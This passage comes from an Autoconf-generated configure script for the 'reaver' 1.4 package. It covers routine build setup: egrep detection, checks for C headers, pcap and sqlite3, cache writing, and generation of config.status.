each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in egrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_EGREP" && $as_test_x "$ac_path_EGREP"; } || continue # Check for GNU ac_path_EGREP and select it if it is found. # Check for GNU $ac_path_EGREP case `"$ac_path_EGREP" --version 2>&1` in *GNU*) ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'EGREP' >> "conftest.nl" "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_EGREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_EGREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_EGREP"; then as_fn_error "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_EGREP=$EGREP fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5 $as_echo "$ac_cv_path_EGREP" >&6; } EGREP="$ac_cv_path_EGREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5 $as_echo_n "checking for ANSI C header files... " >&6; } if test "${ac_cv_header_stdc+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_header_stdc=yes else ac_cv_header_stdc=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : : else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) return 2; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : else ac_cv_header_stdc=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5 $as_echo "$ac_cv_header_stdc" >&6; } if test $ac_cv_header_stdc = yes; then $as_echo "#define STDC_HEADERS 1" >>confdefs.h fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default " eval as_val=\$$as_ac_Header if test "x$as_val" = x""yes; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in stdlib.h stdint.h string.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" eval as_val=\$$as_ac_Header if test "x$as_val" = x""yes; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF else echo "error: missing standard header files" && exit -1 fi done for ac_header in pcap.h do : ac_fn_c_check_header_mongrel "$LINENO" "pcap.h" "ac_cv_header_pcap_h" "$ac_includes_default" if test "x$ac_cv_header_pcap_h" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_PCAP_H 1 _ACEOF else echo "error: missing sqlite3 header files" && exit -1 fi done for ac_header in sqlite3.h do : ac_fn_c_check_header_mongrel "$LINENO" "sqlite3.h" "ac_cv_header_sqlite3_h" "$ac_includes_default" if test "x$ac_cv_header_sqlite3_h" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_SQLITE3_H 1 _ACEOF else echo "error: missing sqlite3 header files" && exit -1 fi done cp confdefs.h config.h target=$PACKAGE_NAME ac_config_files="$ac_config_files Makefile" cat >confcache <<\_ACEOF # This file is a shell script that caches the results of configure # tests run on this system so they can be shared between configure # scripts and configure runs, see configure's option --config-cache. # It is not useful on other systems. If it contains results you don't # want to keep, you may remove or edit it. # # config.status only pays attention to the cache file if you give it # the --recheck option to rerun configure. # # `ac_cv_env_foo' variables (set or unset) will be overridden when # loading this file, other *unset* `ac_cv_foo' will be assigned the # following values. _ACEOF # The following way of writing the cache mishandles newlines in values, # but we know of no workaround that is simple, portable, and efficient. # So, we kill variables containing newlines. # Ultrix sh set writes to stderr and can't be redirected directly, # and sets the high bit in the cache file unless we assign to the vars. ( for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space=' '; set) 2>&1` in #( *${as_nl}ac_space=\ *) # `set' does not quote correctly, so add quotes: double-quote # substitution turns \\\\ into \\, and sed turns \\ into \. sed -n \ "s/'/'\\\\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ;; #( *) # `set' quotes correctly as required by POSIX, so do not add quotes. sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) | sed ' /^ac_cv_env_/b end t clear :clear s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ t end s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ :end' >>confcache if diff "$cache_file" confcache >/dev/null 2>&1; then :; else if test -w "$cache_file"; then test "x$cache_file" != "x/dev/null" && { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 $as_echo "$as_me: updating cache $cache_file" >&6;} cat confcache >$cache_file else { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 $as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} fi fi rm -f confcache test "x$prefix" = xNONE && prefix=$ac_default_prefix # Let make expand exec_prefix. test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' # Transform confdefs.h into DEFS. # Protect against shell expansion while executing Makefile rules. # Protect against Makefile macro expansion. # # If the first sed substitution is executed (which looks for macros that # take arguments), then branch to the quote section. Otherwise, # look for a macro that doesn't take arguments. ac_script=' :mline /\\$/{ N s,\\\n,, b mline } t clear :clear s/^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*([^)]*)\)[ ]*\(.*\)/-D\1=\2/g t quote s/^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)/-D\1=\2/g t quote b any :quote s/[ `~#$^&*(){}\\|;'\''"<>?]/\\&/g s/\[/\\&/g s/\]/\\&/g s/\$/$$/g H :any ${ g s/^\n// s/\n/ /g p } ' DEFS=`sed -n "$ac_script" confdefs.h` ac_libobjs= ac_ltlibobjs= for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue # 1. Remove the extension, and $U if already installed. ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' ac_i=`$as_echo "$ac_i" | sed "$ac_script"` # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR # will be set to the directory where LIBOBJS objects are built. as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' done LIBOBJS=$ac_libobjs LTLIBOBJS=$ac_ltlibobjs : ${CONFIG_STATUS=./config.status} ac_write_fail=0 ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files $CONFIG_STATUS" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 $as_echo "$as_me: creating $CONFIG_STATUS" >&6;} as_write_fail=0 cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 #! $SHELL # Generated by $as_me. # Run this file to recreate the current configuration. # Compiler output produced by configure, useful for debugging # configure, is in config.log if it exists. debug=false ac_cs_recheck=false ac_cs_silent=false SHELL=\${CONFIG_SHELL-$SHELL} export SHELL _ASEOF cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # as_fn_error ERROR [LINENO LOG_FD] # --------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with status $?, using 1 if that was 0. as_fn_error () { as_status=$?; test $as_status -eq 0 && as_status=1 if test "$3"; then as_lineno=${as_lineno-"$2"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $1" >&$3 fi $as_echo "$as_me: error: $1" >&2 as_fn_exit $as_status } # as_fn_error # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -p'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -p' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error "cannot create directory $as_dir" } # as_fn_mkdir_p if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi if test -x / >/dev/null 2>&1; then as_test_x='test -x' else if ls -dL / >/dev/null 2>&1; then as_ls_L_option=L else as_ls_L_option= fi as_test_x=' eval sh -c '\'' if test -d "$1"; then test -d "$1/."; else case $1 in #( -*)set "./$1";; esac; case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ???[sx]*):;;*)false;;esac;fi '\'' sh ' fi as_executable_p=$as_test_x # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" exec 6>&1 ## ----------------------------------- ## ## Main body of $CONFIG_STATUS script. ## ## ----------------------------------- ## _ASEOF test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Save the log message, to keep $0 and so on meaningful, and to # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" This file was extended by reaver $as_me 1.4, which was generated by GNU Autoconf 2.65. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS CONFIG_LINKS = $CONFIG_LINKS CONFIG_COMMANDS = $CONFIG_COMMANDS $ $0 $@ on `(hostname || uname -n) 2>/dev/null | sed 1q` " _ACEOF case $ac_config_files in *" "*) set x $ac_config_files; shift; ac_config_files=$*;; esac cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 # Files that config.status was made for. config_files="$ac_config_files" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ac_cs_usage="\ \`$as_me' instantiates files and other configuration actions from templates according to the current configuration. Unless the files and actions are specified as TAGs, all are instantiated by default. Usage: $0 [OPTION]... [TAG]... -h, --help print this help, then exit -V, --version print version number and configuration settings, then exit --config print configuration, then exit -q, --quiet, --silent do not print progress messages -d, --debug don't remove temporary files --recheck update $as_me by reconfiguring in the same conditions --file=FILE[:TEMPLATE] instantiate the configuration file FILE Configuration files: $config_files Report bugs to the package provider." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" ac_cs_version="\\ reaver config.status 1.4 configured by $0, generated by GNU Autoconf 2.65, with options \\"\$ac_cs_config\\" Copyright (C) 2009 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it." ac_pwd='$ac_pwd' srcdir='$srcdir' test -n "\$AWK" || AWK=awk _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # The default lists apply if the user does not specify any file. ac_need_defaults=: while test $# != 0 do case $1 in --*=*) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` ac_shift=: ;; *) ac_option=$1 ac_optarg=$2 ac_shift=shift ;; esac case $ac_option in # Handling of the options. -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) ac_cs_recheck=: ;; --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) $as_echo "$ac_cs_version"; exit ;; --config | --confi | --conf | --con | --co | --c ) $as_echo "$ac_cs_config"; exit ;; --debug | --debu | --deb | --de | --d | -d ) debug=: ;; --file | --fil | --fi | --f ) $ac_shift case $ac_optarg in *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; esac as_fn_append CONFIG_FILES " '$ac_optarg'" ac_need_defaults=false;; --he | --h | --help | --hel | -h ) $as_echo "$ac_cs_usage"; exit ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil | --si | --s) ac_cs_silent=: ;; # This is an error. -*) as_fn_error "unrecognized option: \`$1' Try \`$0 --help' for more information." ;; *) as_fn_append ac_config_targets " $1" ac_need_defaults=false ;; esac shift done ac_configure_extra_args= if $ac_cs_silent; then exec 6>/dev/null ac_configure_extra_args="$ac_configure_extra_args --silent" fi _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 if \$ac_cs_recheck; then set X '$SHELL' '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion shift \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6 CONFIG_SHELL='$SHELL' export CONFIG_SHELL exec "\$@" fi _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 exec 5>>config.log { echo sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX ## Running $as_me. ## _ASBOX $as_echo "$ac_log" } >&5 _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Handling of arguments. for ac_config_target in $ac_config_targets do case $ac_config_target in "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; *) as_fn_error "invalid argument: \`$ac_config_target'" "$LINENO" 5;; esac done # If the user did not use the arguments to specify the items to instantiate, # then the envvar interface is used. Set only those that are not. # We use the long form for the default assignment because of an extremely # bizarre bug on SunOS 4.1.3. if $ac_need_defaults; then test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files fi # Have a temporary directory for convenience. Make it in the build tree # simply because there is no reason against having it here, and in addition, # creating and moving files from /tmp can sometimes cause problems. # Hook for its removal unless debugging. # Note that there is a small window in which the directory will not be cleaned: # after its creation but before its name has been assigned to `$tmp'. $debug || { tmp= trap 'exit_status=$? { test -z "$tmp" || test ! -d "$tmp" || rm -fr "$tmp"; } && exit $exit_status ' 0 trap 'as_fn_exit 1' 1 2 13 15 } # Create a (secure) tmp directory for tmp files. { tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" } || { tmp=./conf$$-$RANDOM (umask 077 && mkdir "$tmp") } || as_fn_error "cannot create a temporary directory in ." "$LINENO" 5 # Set up the scripts for CONFIG_FILES section. # No need to generate them if there are no CONFIG_FILES. # This happens for instance with `./config.status config.h'. if test -n "$CONFIG_FILES"; then ac_cr=`echo X | tr X '\015'` # On cygwin, bash can eat \r inside `` if the user requested igncr. # But we know of no other shell where ac_cr would be empty at this # point, so we can use a bashism as a fallback. if test "x$ac_cr" = x; then eval ac_cr=\$\'\\r\' fi ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then ac_cs_awk_cr='\r' else ac_cs_awk_cr=$ac_cr fi echo 'BEGIN {' >"$tmp/subs1.awk" && _ACEOF { echo "cat >conf$$subs.awk <<_ACEOF" && echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && echo "_ACEOF" } >conf$$subs.sh || as_fn_error "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_num=`echo "$ac_subst_vars" | grep -c '$'` ac_delim='%!_!# ' for ac_last_try in false false false false false :; do . ./conf$$subs.sh || as_fn_error "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` if test $ac_delim_n = $ac_delim_num; then break elif $ac_last_try; then as_fn_error "could not make $CONFIG_STATUS" "$LINENO" 5 else ac_delim="$ac_delim!$ac_delim _$ac_delim!! " fi done rm -f conf$$subs.sh cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 cat >>"\$tmp/subs1.awk" <<\\_ACAWK && _ACEOF sed -n ' h s/^/S["/; s/!.*/"]=/ p g s/^[^!]*!// :repl t repl s/'"$ac_delim"'$// t delim :nl h s/\(.\{148\}\)..*/\1/ t more1 s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ p n b repl :more1 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t nl :delim h s/\(.\{148\}\)..*/\1/ t more2 s/["\\]/\\&/g; s/^/"/; s/$/"/ p b :more2 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t delim ' >$CONFIG_STATUS || ac_write_fail=1 rm -f conf$$subs.awk cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACAWK cat >>"\$tmp/subs1.awk" <<_ACAWK && for (key in S) S_is_set[key] = 1 FS = "" } { line = $ 0 nfields = split(line, field, "@") substed = 0 len = length(field[1]) for (i = 2; i < nfields; i++) { key = field[i] keylen = length(key) if (S_is_set[key]) { value = S[key] line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) len += length(value) + length(field[++i]) substed = 1 } else len += 1 + keylen } print line } _ACAWK _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" else cat fi < "$tmp/subs1.awk" > "$tmp/subs.awk" \ || as_fn_error "could not setup config files machinery" "$LINENO" 5 _ACEOF # VPATH may cause trouble with some makes, so we remove $(srcdir), # ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and # trailing colons and then remove the whole line if VPATH becomes empty # (actually we leave an empty line to preserve line numbers). if test "x$srcdir" = x.; then ac_vpsub='/^[ ]*VPATH[ ]*=/{ s/:*\$(srcdir):*/:/ s/:*\${srcdir}:*/:/ s/:*@srcdir@:*/:/ s/^\([^=]*=[ ]*\):*/\1/ s/:*$// s/^[^=]*=[ ]*$// }' fi cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 fi # test -n "$CONFIG_FILES" eval set X " :F $CONFIG_FILES " shift for ac_tag do case $ac_tag in :[FHLC]) ac_mode=$ac_tag; continue;; esac case $ac_mode$ac_tag in :[FHL]*:*);; :L* | :C*:*) as_fn_error "invalid tag \`$ac_tag'" "$LINENO" 5;; :[FH]-) ac_tag=-:-;; :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; esac ac_save_IFS=$IFS IFS=: set x $ac_tag IFS=$ac_save_IFS shift ac_file=$1 shift case $ac_mode in :L) ac_source=$1;; :[FH]) ac_file_inputs= for ac_f do case $ac_f in -) ac_f="$tmp/stdin";; *) # Look for 